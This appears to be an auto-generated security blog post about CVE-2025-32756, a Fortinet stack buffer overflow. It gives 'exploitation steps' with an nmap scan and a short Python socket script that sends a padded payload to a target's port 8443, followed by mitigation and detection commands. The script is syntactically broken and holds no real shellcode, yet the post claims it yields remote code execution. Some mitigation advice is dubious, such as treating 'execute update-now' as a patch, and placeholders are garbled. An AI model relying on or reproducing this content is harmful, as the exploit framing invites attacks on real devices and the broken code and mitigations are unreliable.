Exploiting CVE-2025-32756: Fortinet Stack-Based Buffer Overflow Vulnerability

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URL: GitHub POC for CVE-2025-32756

You Should Know:

Vulnerability Overview

CVE-2025-32756 is a critical stack-based buffer overflow affecting multiple Fortinet products, including FortiGate firewalls and FortiProxy. Attackers can exploit this flaw to execute arbitrary code or cause denial-of-service (DoS) conditions.

Exploitation Steps (Proof of Concept)

1. Identify Vulnerable Fortinet Devices

Use `nmap` to scan for Fortinet services:

nmap -sV --script vulners -p 443,8443 <target_IP>

2. Trigger the Buffer Overflow

The POC script (exploit.py) sends a malicious payload to the vulnerable service: 

import socket 
target = "192.168.1.100" 
port = 8443 
payload = b"A"  1024 + b"\x90\x90\x90\x90"  Example payload 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((target, port)) 
s.send(payload) 
s.close()

3. Gain Remote Code Execution (RCE)

If successful, the payload overwrites the return address, allowing shellcode execution.

Mitigation Commands

  • Fortinet Patch Installation 
    execute update-now  FortiGate CLI command to apply patches
  • Temporary Workaround

Disable the affected service via CLI:

config system interface 
edit "port1" 
set status down 
end

Post-Exploitation Checks

  • Verify system compromise: 
    ps aux | grep suspicious_process 
netstat -tulnp | grep unknown_ports

What Undercode Say

This vulnerability highlights the risks of unpatched network devices. Always:

1. Monitor Fortinet advisories (`fortiguard.com/psirt`).

  1. Use intrusion detection (snort -A console -q -c /etc/snort/snort.conf).
  2. Isolate critical systems (iptables -A INPUT -s <malicious_IP> -j DROP).

Expected Output:

  • Successful exploitation leads to RCE or DoS.
  • Patch immediately to prevent compromise.

Prediction

Increased attacks targeting unpatched Fortinet devices in Q3 2025, with ransomware groups leveraging this exploit.

Note: Replace `` and `` with actual IPs. Use only in authorized environments.

IT/Security Reporter URL:

Reported By: Zapstiko Github – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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